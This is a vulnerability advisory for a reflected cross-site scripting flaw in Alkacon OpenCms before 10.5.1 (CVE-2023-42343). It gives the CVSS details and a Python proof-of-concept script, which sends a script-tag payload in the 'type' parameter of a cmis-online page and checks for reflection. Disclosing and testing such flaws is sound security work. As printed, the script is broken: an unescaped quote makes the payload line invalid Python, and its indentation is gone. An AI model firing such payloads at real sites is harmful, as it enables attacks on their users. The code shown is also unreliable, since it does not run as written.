A Cross Site Scripting vulnerability in Alkacon OpenCms before 10.5.1 exists via cmis-online/type.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Alkacon OpenCms < 10.5.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Proof of Concept for CVE-2023-42343
# Target: Alkacon OpenCms < 10.5.1
# Description: XSS via cmis-online/type parameter
def check_xss(target_base_url):
# The vulnerable endpoint
url = f"{target_base_url}/opencms/system/workplace/commons/cmis-online/index.jsp"
# Payload attempting to execute JavaScript
payload = {
"type": ""><script>alert(1)</script>"
}
try:
response = requests.get(url, params=payload, timeout=10)
# Check if the payload is reflected in the response without proper encoding
if "<script>alert(1)</script>" in response.text:
print("[+] Vulnerability Found: XSS payload is reflected in the response.")
print(f"[+] Target URL: {response.url}")
else:
print("[-] Vulnerability not found or payload encoded.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
# Replace with the actual target URL
target = "http://localhost:8080"
check_xss(target)